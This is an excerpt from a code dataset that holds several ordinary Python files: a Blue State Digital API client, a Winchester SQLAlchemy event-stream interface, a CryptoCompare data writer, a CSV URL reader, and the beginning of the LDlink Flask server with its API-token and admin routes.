self._make_get_request(url_secure)\n\n def cons_set_ext_ids(self, ext_type, cons_id__ext_id):\n query = {'ext_type': str(ext_type)}\n query.update(cons_id__ext_id)\n url_secure = self._generate_request('/cons/set_ext_ids')\n return self._make_post_request(url_secure, query)\n\n def cons_delete_constituents_by_id(self, cons_ids):\n query = {'cons_ids': ','.join([str(cons) for cons in cons_ids])}\n url_secure = self._generate_request('/cons/delete_constituents_by_id')\n return self._make_post_request(url_secure, query)\n\n def cons_get_bulk_constituent_data(self, format, fields, cons_ids=None, filter=None):\n query = {'format': str(format), 'fields': ','.join([str(field) for field in fields])}\n\n if cons_ids:\n query['cons_ids'] = ','.join([str(cons) for cons in cons_ids])\n\n if filter:\n query['filter'] = str(Filters(filter))\n\n url_secure = self._generate_request('/cons/get_bulk_constituent_data', {})\n return self._make_post_request(url_secure, query)\n\n def cons_set_constituent_data(self, xml_data):\n url_secure = self._generate_request('/cons/set_constituent_data')\n return self._make_post_request(url_secure, xml_data)\n\n def cons_get_custom_constituent_fields(self):\n query = {}\n url_secure = self._generate_request('/cons/get_custom_constituent_fields', query)\n return self._make_get_request(url_secure)\n\n def cons_merge_constituents_by_id(self, ids):\n url_secure = self._generate_request('/cons/merge_constituents_by_id')\n return self._make_post_request(url_secure, ','.join([str(x) for x in ids]))\n\n def cons_merge_constituents_by_email(self, email):\n url_secure = self._generate_request('/cons/merge_constituents_by_email', {'email': email})\n return self._make_get_request(url_secure)\n\n def cons_group_list_constituent_groups(self):\n url_secure = self._generate_request('/cons_group/list_constituent_groups')\n return self._make_get_request(url_secure)\n\n def cons_group_get_constituent_group(self, cons_group_id):\n query = {'cons_group_id': str(cons_group_id)}\n url_secure = self._generate_request('/cons_group/get_constituent_group', query)\n return self._make_get_request(url_secure)\n\n def cons_group_add_constituent_group(self, xml_data):\n url_secure = self._generate_request('/cons_group/add_constituent_groups')\n return self._make_post_request(url_secure, xml_data)\n\n def cons_group_delete_constituent_groups(self, cons_group_ids):\n query = {'cons_group_ids': ','.join([str(c) for c in cons_group_ids])}\n url_secure = self._generate_request('/cons_group/delete_constituent_groups', query)\n return self._make_get_request(url_secure)\n\n def cons_group_get_cons_ids_for_group(self, cons_group_id):\n query = {'cons_group_id': str(cons_group_id)}\n url_secure = self._generate_request('/cons_group/get_cons_ids_for_group', query)\n return self._make_get_request(url_secure)\n\n def cons_group_get_ext_ids_for_group(self, cons_group_id, ext_type):\n query = {'cons_group_ids': str(cons_group_id), 'ext_type': ext_type}\n url_secure = self._generate_request('/cons_group/get_ext_ids_for_group', query)\n return self._make_get_request(url_secure)\n\n def cons_group_set_ext_ids_for_group(self, cons_group_id, ext_type, ext_ids):\n query = {'cons_group_id': str(cons_group_id),\n 'ext_type': ext_type,\n 'ext_ids': ','.join([str(ext) for ext in ext_ids])}\n\n url_secure = self._generate_request('/cons_group/set_ext_ids_for_group')\n return self._make_post_request(url_secure, query)\n\n def cons_group_add_cons_ids_to_group(self, cons_group_id, cons_ids):\n query = {'cons_group_id': str(cons_group_id),\n 'cons_ids': ','.join([str(cons) for cons in cons_ids])}\n\n url_secure = self._generate_request('/cons_group/add_cons_ids_to_group')\n return self._make_post_request(url_secure, query)\n\n def cons_group_add_ext_ids_to_group(self, cons_group_id, ext_type, ext_ids):\n query = {'cons_group_id': str(cons_group_id),\n 'ext_type': ext_type,\n 'ext_ids': ','.join([str(ext) for ext in ext_ids])}\n\n url_secure = self._generate_request('/cons_group/add_ext_ids_to_group')\n return self._make_post_request(url_secure, query)\n\n def cons_group_remove_cons_ids_from_group(self, cons_group_id, cons_ids):\n query = {'cons_group_id': str(cons_group_id),\n 'cons_ids': ','.join([str(cons) for cons in cons_ids])}\n\n url_secure = self._generate_request('/cons_group/remove_cons_ids_from_group')\n return self._make_post_request(url_secure, query)\n\n def cons_group_remove_ext_ids_from_group(self, cons_group_id, ext_type, ext_ids):\n query = {'cons_group_id': str(cons_group_id),\n 'ext_type': ext_type,\n 'ext_ids': ','.join([str(ext) for ext in ext_ids])}\n\n url_secure = self._generate_request('/cons_group/remove_ext_ids_from_group')\n return self._make_post_request(url_secure, query)\n\n def event_rsvp_list(self, event_id):\n query = {'event_id': str(event_id)}\n url_secure = self._generate_request('/event/list_rsvps')\n return self._make_post_request(url_secure, query)\n\n def outreach_get_page_by_id(self, id):\n query = {'id': str(id)}\n url_secure = self._generate_request('/outreach/get_page_by_id')\n return self._make_post_request(url_secure, query)\n\n def outreach_set_page_data(self, xml_data):\n url_secure = self._generate_request('/outreach/set_page_data', {})\n return self._make_post_request(url_secure, xml_data)\n\n def reference_process_personalization_tag(self, who):\n url_secure = self._generate_request('/reference/process_personalization_tag', {'who': who})\n return self._make_get_request(url_secure)\n\n def signup_process_signup(self, xml_data):\n query = {}\n url_secure = self._generate_request('/signup/process_signup', query)\n return self._make_post_request(url_secure, xml_data)\n\n def signup_list_forms(self):\n query = {}\n url_secure = self._generate_request('/signup/list_forms', query, True)\n return self._make_get_request(url_secure, True)\n\n def signup_list_form_fields(self, signup_form_id):\n query = {'signup_form_id': str(signup_form_id)}\n url_secure = self._generate_request('/signup/list_form_fields', query)\n return self._make_get_request(url_secure)\n\n def signup_signup_count(self, signup_form_id, signup_form_field_ids=None):\n query = {'signup_form_id': str(signup_form_id)}\n\n if signup_form_field_ids:\n query['signup_form_field_ids'] = ','.join([str(elem) for elem in signup_form_field_ids])\n\n url_secure = self._generate_request('/signup/signup_count', query)\n return self._make_get_request(url_secure)\n\n def signup_count_by_field(self, signup_form_id, signup_form_field_id):\n query = {'signup_form_id': str(signup_form_id),\n 'signup_form_field_id': str(signup_form_field_id)}\n\n url_secure = self._generate_request('/signup/count_by_field', query)\n return self._make_get_request(url_secure)\n\n def wrappers_list_wrappers(self):\n url_secure = self._generate_request('/wrappers/list_wrappers')\n return self._make_get_request(url_secure)\n\n def _make_request(self, url_secure, request_type, http_body=None, headers=None, https=False):\n connect_function = httplib.HTTPSConnection if https else httplib.HTTPConnection\n port = self.api_secure_port if https else self.api_port\n\n connection = connect_function(self.api_host, port)\n\n if headers == None:\n headers = dict()\n\n headers['User-Agent'] = 'Python API'\n\n if self.http_username:\n auth_string = self.http_username\n if self.http_password:\n auth_string += \":\" + self.http_password\n headers[\"Authorization\"] = \"Basic \" + base64.b64encode(auth_string.encode('utf-8')).decode('utf-8')\n\n if http_body != None and headers != None:\n connection.request(request_type, url_secure.get_path_and_query(), http_body, headers)\n elif headers != None:\n connection.request(request_type, url_secure.get_path_and_query(), None, headers)\n else:\n connection.request(request_type, url_secure.get_path_and_query())\n response = None\n try:\n response = connection.getresponse()\n headers = response.getheaders()\n body_bytes = response.read()\n content_type, charset = self._parse_content_type(\n response.getheader('Content-Type',\n default='application/json; charset=iso-8859-1'))\n body = body_bytes.decode(charset)\n\n connection.close()\n\n results = self.api_result_cls(url_secure, response, headers, body)\n return results\n except HTTPException as error:\n print(error)\n print(\"Error calling \" + url_secure.get_path_and_query())\n\n def _parse_content_type(self, content_type_header, default_charset='iso-8859-1'):\n parsed_headers = email.parser.Parser().parsestr(\n \"Content-Type: %s\" % content_type_header, headersonly=True)\n charset = default_charset\n if parsed_headers.get_param('charset') is not None:\n charset = parsed_headers.get_param('charset')\n return (parsed_headers.get_content_type(), charset)\n\n def _generate_request(self, api_call, api_params=None, https=False):\n if api_params is None:\n api_params = {}\n\n api_host = self.api_host\n\n if https:\n if self.api_secure_port != 443:\n api_host = api_host + ':' + str(self.api_secure_port)\n else:\n if self.api_port != 80:\n api_host = api_host + \":\" + str(self.api_port)\n\n request = RequestGenerator(self.api_id, self.api_secret, api_host, https)\n url_secure = request.get_url(api_call, api_params)\n return url_secure\n\n def _make_get_request(self, url_secure, https=False):\n return self._make_request(url_secure, self.GET, https=https)\n\n def _make_post_request(self, url_secure, body, https=False):\n headers = {\"Content-type\": \"application/x-www-form-urlencoded\",\n \"Accept\": \"text/xml\"}\n\n if type(body).__name__ == 'dict':\n http_body = urlencode(body)\n else:\n http_body = body\n\n return self._make_request(url_secure, self.POST, http_body, headers, https)\n\nclass Factory(object):\n\n def create(self, id, secret, host, port, secure_port, colorize=False):\n styler = Colorizer(ansi_colors=colorize)\n api_result_cls = api_result_factory(ApiResultPrettyPrintable(styler))\n return BsdApi(id, secret, host, api_result_cls, port, secure_port)\n","sub_path":"bsdapi/BsdApi.py","file_name":"BsdApi.py","file_ext":"py","file_size_in_byte":20371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"38297097","text":"from contextlib import contextmanager\nimport logging\nimport sqlalchemy\nfrom sqlalchemy import and_, or_\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom sqlalchemy.orm.exc import MultipleResultsFound\n\nfrom winchester import models\nfrom winchester.config import ConfigManager, ConfigSection, ConfigItem\n\n\nlogger = logging.getLogger(__name__)\n\nENGINES = dict()\nSESSIONMAKERS = dict()\n\n\nclass DuplicateError(models.DBException):\n pass\n\n\nclass LockError(models.DBException):\n pass\n\n\nclass NoSuchEventError(models.DBException):\n pass\n\n\nclass NoSuchStreamError(models.DBException):\n pass\n\n\ndef sessioned(func):\n def with_session(self, *args, **kw):\n if 'session' in kw:\n return func(self, *args, **kw)\n else:\n with self.in_session() as session:\n kw['session'] = session\n retval = func(self, *args, **kw)\n return retval\n return with_session\n\n\nclass DBInterface(object):\n\n\n @classmethod\n def config_description(cls):\n return dict(url=ConfigItem(required=True,\n help=\"Connection URL for database.\"),\n )\n\n def __init__(self, config):\n self.config = ConfigManager.wrap(config, self.config_description())\n self.db_url = config['url']\n self.echo_sql = config.get('echo_sql', False)\n\n @property\n def engine(self):\n global ENGINES\n if self.db_url not in ENGINES:\n engine = sqlalchemy.create_engine(self.db_url, echo=self.echo_sql)\n ENGINES[self.db_url] = engine\n return ENGINES[self.db_url]\n\n @property\n def sessionmaker(self):\n global SESSIONMAKERS\n if self.db_url not in SESSIONMAKERS:\n maker = sessionmaker(bind=self.engine)\n SESSIONMAKERS[self.db_url] = maker\n return SESSIONMAKERS[self.db_url]\n\n def close(self):\n if self.db_url in ENGINES:\n del ENGINES[self.db_url]\n if self.db_url in SESSIONMAKERS:\n del SESSIONMAKERS[self.db_url]\n\n def get_session(self):\n return self.sessionmaker(expire_on_commit=False)\n\n @contextmanager\n def in_session(self):\n \"\"\"Provide a session scope around a series of operations.\"\"\"\n session = self.get_session()\n try:\n yield session\n session.commit()\n except IntegrityError:\n session.rollback()\n raise DuplicateError(\"Duplicate unique value detected!\")\n except:\n session.rollback()\n raise\n finally:\n session.close()\n\n @sessioned\n def get_event_type(self, description, session=None):\n t = session.query(models.EventType).filter(models.EventType.desc == description).first()\n if t is None:\n t = models.EventType(description)\n session.add(t)\n return t\n\n @sessioned\n def create_event(self, message_id, event_type, generated, traits, session=None):\n event_type = self.get_event_type(event_type, session=session)\n e = models.Event(message_id, event_type, generated)\n for name in traits:\n e[name] = traits[name]\n session.add(e)\n\n @sessioned\n def get_event_by_message_id(self, message_id, session=None):\n try:\n e = session.query(models.Event).\\\n filter(models.Event.message_id == message_id).one()\n except NoResultFound:\n raise NoSuchEventError(\"No event found with message_id %s!\" % message_id)\n return e.as_dict\n\n @sessioned\n def get_stream_by_id(self, stream_id, session=None):\n try:\n s = session.query(models.Stream).\\\n filter(models.Stream.id == stream_id).one()\n except NoResultFound:\n raise NoSuchStreamError(\"No stream found with id %s!\" % stream_id)\n return s\n\n @sessioned\n def create_stream(self, trigger_name, initial_event, dist_traits, expire_expr, session=None):\n first_event_time = initial_event['timestamp']\n s = models.Stream(trigger_name, first_event_time)\n for trait_name in dist_traits:\n s[trait_name] = dist_traits[trait_name]\n session.add(s)\n self.add_event_stream(s, initial_event, expire_expr, session=session)\n return s\n\n @sessioned\n def stream_has_dist_trait(self, stream_id, name, value=None, session=None):\n q = session.query(models.DistinguishingTrait)\n q = q.filter(models.DistinguishingTrait.stream_id == stream_id)\n q = q.filter(models.DistinguishingTrait.name == name)\n if value is not None:\n q = q.filter(models.DistinguishingTrait.value == value)\n dt = q.first()\n if dt is not None:\n dt = dt.as_dict\n return dt\n\n @sessioned\n def get_stream_events(self, stream, session=None):\n if stream not in session:\n stream = session.merge(stream)\n return [event.as_dict for event in stream.events]\n\n @sessioned\n def add_event_stream(self, stream, event, expire_expr, session=None):\n if stream not in session:\n session.add(stream)\n message_id = event['message_id']\n timestamp = event['timestamp']\n if timestamp < stream.first_event:\n stream.first_event = timestamp\n if timestamp > stream.last_event:\n stream.last_event = timestamp\n stream.expire_timestamp = expire_expr(first=stream.first_event,\n last=stream.last_event).timestamp\n eq = session.query(models.Event)\n eq = eq.filter(models.Event.message_id == message_id)\n e = eq.one()\n stream.events.append(e)\n return e\n\n @sessioned\n def get_active_stream(self, name, dist_traits, current_time, session=None):\n q = session.query(models.Stream)\n q = q.filter(models.Stream.name == name)\n q = q.filter(models.Stream.state == int(models.StreamState.active))\n q = q.filter(models.Stream.expire_timestamp > current_time)\n for name, val in dist_traits.items():\n q = q.filter(models.Stream.distinguished_by.any(and_(\n models.DistinguishingTrait.name == name,\n models.DistinguishingTrait.value == val)))\n return q.first()\n\n @sessioned\n def stream_ready_to_fire(self, stream, timestamp, session=None):\n if stream not in session:\n session.add(stream)\n stream.fire_timestamp = timestamp\n\n @sessioned\n def get_ready_streams(self, batch_size, current_time, expire=False, session=None):\n q = session.query(models.Stream)\n if expire:\n states = (int(models.StreamState.active), int(models.StreamState.retry_expire))\n else:\n states = (int(models.StreamState.active), int(models.StreamState.retry_fire))\n\n q = q.filter(models.Stream.state.in_(states))\n if expire:\n q = q.filter(models.Stream.expire_timestamp < current_time)\n else:\n q = q.filter(models.Stream.fire_timestamp < current_time)\n q = q.limit(batch_size)\n return q.all()\n\n def set_stream_state(self, stream, state):\n serial = stream.state_serial_no\n stream_id = stream.id\n #we do this in a separate session, as it needs to be atomic.\n with self.in_session() as session:\n q = session.query(models.Stream)\n q = q.filter(models.Stream.id == stream_id)\n q = q.filter(models.Stream.state_serial_no == serial)\n ct = q.update(dict(state=int(state), state_serial_no=serial + 1))\n if ct != 1:\n raise LockError(\"Optimistic Lock failed!\")\n return self.get_stream_by_id(stream_id)\n\n def reset_stream(self, stream):\n if stream.state == models.StreamState.error:\n return self.set_stream_state(stream, models.StreamState.retry_fire)\n if stream.state == models.StreamState.expire_error:\n return self.set_stream_state(stream, models.StreamState.retry_expire)\n return stream\n\n @sessioned\n def purge_stream(self, stream, session=None):\n if stream not in session:\n session.add(stream)\n session.delete(stream)\n\n","sub_path":"winchester/db/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":8319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"604866462","text":"import datetime\n\nfrom QuantML import CryptoCompare\nfrom src.utility.DataModelUtility import data_frame_to_sql\nfrom src.utility.GeneralUtility import timer\n\n\n@timer\ndef write_to_exchange_daily_data(instrument_from,\n instrument_to,\n exchange='Gemini',\n interval='day',\n all_data=False,\n input_date=datetime.date.today() - datetime.timedelta(days=1)):\n \"\"\"\n Get historical data from Crypto Compare.\n :param instrument_from: str\n :param instrument_to: str\n :param exchange: str\n :param interval: str (day, hour, minute)\n :param all_data: bool\n :param input_date: date (if all_data=False, this is data of the date to get)\n :return: pd.Dataframe\n \"\"\"\n if interval not in ['day', 'hour', 'minute']:\n raise ValueError('interval must be day, hour or minute.')\n\n calculation_module = CryptoCompare()\n\n data_set = calculation_module.get_historical_data_to_dataframe(instrument_from=instrument_from,\n instrument_to=instrument_to,\n exchange=exchange,\n interval=interval,\n all_data=all_data,\n input_date=input_date)\n\n data_set = data_set.rename({'open': 'open_price',\n 'close': 'close_price',\n 'high': 'high_price',\n 'low': 'low_price',\n 'volumefrom': 'volume_from',\n 'volumeto': 'volume_to',\n 'time_stick': 'event_date'}, axis=1)\n\n result_date_set = data_set[['event_date', 'symbol', 'open_price', 'close_price', 'high_price', 'low_price', 'volume_from', 'volume_to']]\n\n data_frame_to_sql(result_date_set, '{}_daily_data'.format(exchange).lower(), schema='public', ssh=None, database='mktsrv', port=5432)\n\n\nif __name__ == '__main__':\n for exchange in ['Gemini', 'CCCAGG']:\n write_to_exchange_daily_data('BTC', 'USD', exchange=exchange, all_data=False)\n","sub_path":"QuantML/database/database_write/WriteToExchangeDailyData.py","file_name":"WriteToExchangeDailyData.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"367379594","text":"import csv\nimport logging\nfrom location.location import Location\n\n\nclass Urls(object):\n def __new__(cls, company_name):\n file_name = Location(__file__, company_name.lower() + \".csv\")\n try:\n csv_file = open(file_name, \"rt\", encoding=\"utf8\")\n csv_reader = csv.reader(csv_file, delimiter=',')\n url_list = []\n for row in csv_reader:\n url_list.append(row[0])\n return url_list\n except IOError as error:\n logging.warning(\"class Urls: Opening CSV file failed. Error: {0}\".format(error))\n\n","sub_path":"crawler/urls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"375339168","text":"#!flask/bin/python3\nimport pandas as pd\nimport numpy as np\nimport sys\nimport getopt\nimport cgi\nimport shutil\nimport os\nimport traceback\nimport urllib\nimport collections\nimport argparse\nimport json\nimport time\nimport random\nimport requests\nimport yaml\nfrom flask import Flask, render_template, Response, abort, request, make_response, url_for, jsonify, redirect, current_app, jsonify\n# from flask_limiter import Limiter\n# from flask_limiter.util import get_remote_address\nfrom functools import wraps\nfrom xml.sax.saxutils import escape, unescape\nfrom socket import gethostname\nfrom pandas import DataFrame\nfrom LDpair import calculate_pair\nfrom LDpop import calculate_pop\nfrom LDproxy import calculate_proxy\nfrom LDtrait import calculate_trait, get_ldtrait_timestamp\nfrom LDexpress import calculate_express, get_ldexpress_tissues\nfrom LDmatrix import calculate_matrix\nfrom LDhap import calculate_hap\nfrom LDassoc import calculate_assoc\nfrom SNPclip import calculate_clip\nfrom SNPchip import calculate_chip, get_platform_request\nfrom RegisterAPI import register_user, checkToken, checkBlocked, checkLocked, toggleLocked, logAccess, emailJustification, blockUser, unblockUser, getToken, getStats, unlockUser, unlockAllUsers, getLockedUsers, getBlockedUsers\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.debug import DebuggedApplication\n\n# Ensure tmp directory exists\ntmp_dir = \"./tmp/\"\nif not os.path.exists(tmp_dir):\n os.makedirs(tmp_dir)\n\n### Initialize Flask App ###\n\napp = Flask(__name__, static_folder='', static_url_path='/')\napp.config['MAX_CONTENT_LENGTH'] = 10 * 1024 * 1024 * 1024\napp.config['UPLOAD_DIR'] = os.path.join(os.getcwd(), 'tmp')\napp.debug = True\n\n# Flask Limiter initialization\n# def get_token():\n# return request.args.get('token')\n# # limit requests with token on API calls only\n# limiter = Limiter(\n# app,\n# key_func=get_token\n# )\n# limiter = Limiter(\n# app,\n# key_func=get_remote_address,\n# default_limits=[\"200 per day\", \"50 per hour\"]\n# )\n# Example Flask Limiter decorator: @limiter.limit(\"1 per second\")\n\n### Helper functions ###\n\n# Return error and traceback from calculations\ndef sendTraceback(error):\n custom = {}\n if (error is None):\n custom[\"error\"] = \"Raised when a generated error does not fall into any category.\"\n else:\n custom[\"error\"] = error\n print(\"Unexpected error:\", sys.exc_info()[0])\n traceback.print_exc()\n custom[\"traceback\"] = traceback.format_exc()\n out_json = json.dumps(custom, sort_keys=False, indent=2)\n return current_app.response_class(out_json, mimetype='application/json')\n\n# Return JSON output from calculations\ndef sendJSON(inputString):\n out_json = json.dumps(inputString, sort_keys=False)\n return current_app.response_class(out_json, mimetype='application/json')\n\n# Read headers from uploaded data files for LDassoc\ndef read_csv_headers(example_filepath):\n final_headers = []\n with open(example_filepath) as fp:\n headers = fp.readline().strip().split()\n for heads in headers:\n if len(heads) > 0:\n final_headers.append(heads)\n return final_headers\n\n### API Tokenization ###\n\n# Get module name from request path for API logs collection in MongoDB \ndef getModule(fullPath):\n if \"ldexpress\" in fullPath:\n return \"LDexpress\"\n elif \"ldhap\" in fullPath:\n return \"LDhap\"\n elif \"ldmatrix\" in fullPath:\n return \"LDmatrix\"\n elif \"ldpair\" in fullPath:\n return \"LDpair\"\n elif \"ldpop\" in fullPath:\n return \"LDpop\"\n elif \"ldproxy\" in fullPath:\n return \"LDproxy\"\n elif \"ldtrait\" in fullPath:\n return \"LDtrait\"\n elif \"snpchip\" in fullPath:\n return \"SNPchip\"\n elif \"snpclip\" in fullPath:\n return \"SNPclip\"\n else:\n return \"NA\"\n\n# Flask decorator\n# Requires API route to include valid token in argument or will throw error\ndef requires_token(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n # Set data directories using config.yml\n with open('config.yml', 'r') as c:\n config = yaml.load(c)\n env = config['env']\n if env == 'local':\n url_root = 'http://localhost:5000/'\n elif env == 'prod':\n url_root = 'https://ldlink.nci.nih.gov/'\n else:\n url_root = 'https://ldlink-' + env + '.nci.nih.gov/'\n require_token = bool(config['api']['require_token'])\n token_expiration = bool(config['api']['token_expiration'])\n token_expiration_days = config['api']['token_expiration_days']\n if (\"LDlinkRestWeb\" not in request.full_path):\n # Web server access does not require token\n if require_token:\n # Check if token argument is missing in api call\n if 'token' not in request.args:\n return sendTraceback('API token missing. Please register using the API Access tab: ' + url_root + '?tab=apiaccess')\n token = request.args['token']\n # Check if token is valid\n if checkToken(token, token_expiration, token_expiration_days) is False or token is None:\n return sendTraceback('Invalid or expired API token. Please register using the API Access tab: ' + url_root + '?tab=apiaccess')\n # Check if token is blocked\n if checkBlocked(token):\n return sendTraceback(\"Your API token has been blocked. Please contact system administrator: NCILDlinkWebAdmin@mail.nih.gov\")\n # Check if token is locked\n if checkLocked(token):\n return sendTraceback(\"Concurrent API requests restricted. Please limit usage to sequential requests only. Contact system administrator if you have issues accessing API: NCILDlinkWebAdmin@mail.nih.gov\")\n module = getModule(request.full_path)\n logAccess(token, module)\n return f(*args, **kwargs)\n token = \"NA\"\n module = getModule(request.full_path)\n logAccess(token, module)\n return f(*args, **kwargs)\n return f(*args, **kwargs)\n return decorated_function\n\n# Flask decorator\n# Requires API route to include valid token in argument or will throw error\ndef requires_admin_token(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n with open('config.yml', 'r') as c:\n config = yaml.load(c)\n api_superuser = config['api']['api_superuser']\n # api_access_dir = config['api']['api_access_dir']\n api_superuser_token = getToken(api_superuser)\n # Check if token argument is missing in api call\n if 'token' not in request.args:\n return sendTraceback('Admin API token missing.')\n token = request.args['token']\n # Check if token is valid\n if token != api_superuser_token or token is None:\n return sendTraceback('Invalid Admin API token.')\n return f(*args, **kwargs)\n return decorated_function\n\n# Web route to send API token unblock request from front-end\n@app.route('/LDlinkRestWeb/apiaccess/apiblocked_web', methods=['GET'])\ndef apiblocked_web():\n print(\"Execute api blocked user justification submission\")\n firstname = request.args.get('firstname', False)\n lastname = request.args.get('lastname', False)\n email = request.args.get('email', False)\n institution = request.args.get('institution', False)\n registered = request.args.get('registered', False)\n blocked = request.args.get('blocked', False)\n justification = request.args.get('justification', False)\n out_json = emailJustification(firstname, lastname, email, institution, registered, blocked, justification, request.url_root)\n return sendJSON(out_json)\n\n# Web route to register user's email for API token\n@app.route('/LDlinkRestWeb/apiaccess/register_web', methods=['GET'])\ndef register_web():\n print(\"Execute api register user\")\n firstname = request.args.get('firstname', False)\n lastname = request.args.get('lastname', False)\n email = request.args.get('email', False)\n institution = request.args.get('institution', False)\n reference = request.args.get('reference', False)\n out_json = register_user(firstname, lastname, email, institution, reference, request.url_root)\n out_json2 = {\n \"message\": out_json[\"message\"],\n \"email\": out_json[\"email\"],\n \"firstname\": out_json[\"firstname\"],\n \"lastname\": out_json[\"lastname\"],\n \"registered\": out_json[\"registered\"],\n \"blocked\": out_json[\"blocked\"],\n \"institution\": out_json[\"institution\"]\n }\n return sendJSON(out_json2)\n\n# Web route to block user's API token\n@app.route('/LDlinkRestWeb/apiaccess/block_user', methods=['GET'])\n@requires_admin_token\ndef block_user():\n print(\"Execute api block user\")\n email = request.args.get('email', False)\n out_json = blockUser(email, request.url_root)\n return sendJSON(out_json)\n\n# Web route to unblock user's API token\n@app.route('/LDlinkRestWeb/apiaccess/unblock_user', methods=['GET'])\n@requires_admin_token\ndef unblock_user():\n print(\"Execute api unblock user\")\n email = request.args.get('email', False)\n out_json = unblockUser(email)\n return sendJSON(out_json)\n\n# Web route to unlock user's API token\n@app.route('/LDlinkRestWeb/apiaccess/unlock_user', methods=['GET'])\n@requires_admin_token\ndef unlock_user():\n print(\"Execute api unlock user\")\n email = request.args.get('email', False)\n out_json = unlockUser(email)\n return sendJSON(out_json)\n\n# Web route to unlock all users API tokens\n@app.route('/LDlinkRestWeb/apiaccess/unlock_all_users', methods=['GET'])\n@requires_admin_token\ndef unlock_all_users():\n print(\"Execute api unlock all users\")\n out_json = unlockAllUsers()\n return sendJSON(out_json)\n\n# Web route to retrieve API log stats\n@app.route('/LDlinkRestWeb/apiaccess/stats', methods=['GET'])\n@requires_admin_token\ndef api_stats():\n print(\"Execute api stats\")\n startdatetime = request.args.get('startdatetime', False)\n enddatetime = request.args.get('enddatetime', False)\n top = request.args.get('top', False)\n out_json = getStats(startdatetime, enddatetime, top)\n return sendJSON(out_json)\n\n# Web route to retrieve all locked API users\n@app.route('/LDlinkRestWeb/apiaccess/locked_users', methods=['GET'])\n@requires_admin_token\ndef api_locked_users():\n print(\"Execute api locked users stats\")\n out_json = getLockedUsers()\n return sendJSON(out_json)\n\n# Web route to retrieve all blocked API users\n@app.route('/LDlinkRestWeb/apiaccess/blocked_users', methods=['GET'])\n@requires_admin_token\ndef api_blocked_users():\n print(\"Execute api blocked users stats\")\n out_json = getBlockedUsers()\n return sendJSON(out_json)\n\n### LDLink Helper Routes ###\n\n# Copy output files from tools' tmp directory to apache tmp directory\n@app.route('/')\ndef root():\n return app.send_static_file('index.html')\n # with open('config.yml', 'r') as c:\n # config = yaml.load(c)\n # env = config['env']\n # if env == \"local\":\n # return app.send_static_file('index.html')\n # else:\n # # def copy_output_files(reference):\n # # copy_output_files\n # apache_root = \"/analysistools/\"\n # # check if URL contains the keyword sandbox\n # if 'sandbox' in request.url_root:\n # apache_root = \"/analysistools-sandbox/\"\n # apache_tmp_dir = apache_root + \"public_html/apps/LDlink/tmp/\"\n # # Ensure apache tmp directory exists\n # if not os.path.exists(apache_tmp_dir):\n # os.makedirs(apache_tmp_dir)\n # # copy *.* to htodocs\n # os.system(\"cp \" + tmp_dir + \"*\" + reference + \".* \" + apache_tmp_dir)\n\n# Ping route for API and Web instances\n@app.route('/LDlinkRest/ping/', strict_slashes=False)\n@app.route('/ping/', strict_slashes=False)\ndef ping():\n print(\"pong\")\n try:\n return \"true\"\n except Exception as e:\n print('------------EXCEPTION------------')\n traceback.print_exc(1)\n return str(e), 400\n\n# Route to check file exist status \n@app.route('/status/', strict_slashes=False)\ndef status(filename):\n return jsonify(os.path.isfile(filename))\n\n# File upload route\n@app.route('/LDlinkRest/upload', methods=['POST'])\n@app.route('/LDlinkRestWeb/upload', methods=['POST'])\ndef upload():\n print(\"Processing upload\")\n print(\"****** Stage 1: UPLOAD BUTTON ***** \")\n print(\"UPLOAD_DIR = %s\" % (app.config['UPLOAD_DIR']))\n for arg in request.args:\n print(arg)\n print(\"request.method = %s\" % (request.method))\n if request.method == 'POST':\n # check if the post request has the file part\n print(\" We got a POST\")\n # print dir(request.files)\n if 'ldassocFile' not in request.files:\n print('No file part')\n return 'No file part...'\n file = request.files['ldassocFile']\n # if user does not select file, browser also\n # submit a empty part without filename\n print(type(file))\n if file.filename == '':\n print('No selected file')\n return 'No selected file'\n if file:\n print('file.filename ' + file.filename)\n print('file and allowed_file')\n filename = secure_filename(file.filename)\n print(\"About to SAVE file\")\n print(\"filename = \" + filename)\n file.save(os.path.join(app.config['UPLOAD_DIR'], filename))\n return 'File was saved'\n\n# Route for LDassoc example GWAS data\n@app.route('/LDlinkRest/ldassoc_example', methods=['GET'])\n@app.route('/LDlinkRestWeb/ldassoc_example', methods=['GET'])\ndef ldassoc_example():\n with open('config.yml', 'r') as c:\n config = yaml.load(c)\n example_dir = config['data']['example_dir']\n example_filepath = example_dir + 'prostate_example.txt'\n example = {\n 'filename': os.path.basename(example_filepath),\n 'headers': read_csv_headers(example_filepath)\n }\n return json.dumps(example)\n\n# Route to retrieve LDexpress tissue info\n@app.route('/LDlinkRest/ldexpress_tissues', methods=['GET'])\n@app.route('/LDlinkRestWeb/ldexpress_tissues', methods=['GET'])\ndef ldexpress_tissues():\n print(\"Retrieve LDexpress Tissues\")\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n web = True\n else:\n # API REQUEST\n web = False\n return get_ldexpress_tissues(web)\n\n# Route to retrieve platform data for SNPchip\n@app.route('/LDlinkRest/snpchip_platforms', methods=['GET'])\n@app.route('/LDlinkRestWeb/snpchip_platforms', methods=['GET'])\ndef snpchip_platforms():\n print(\"Retrieve SNPchip Platforms\")\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n web = True\n else:\n # API REQUEST\n web = False\n return get_platform_request(web)\n\n# Route to retrieve timestamp from last LDtrait data update\n@app.route('/LDlinkRest/ldtrait_timestamp', methods=['GET'])\n@app.route('/LDlinkRestWeb/ldtrait_timestamp', methods=['GET'])\ndef ldtrait_timestamp():\n print(\"Retrieve LDtrait Timestamp\")\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n web = True\n else:\n # API 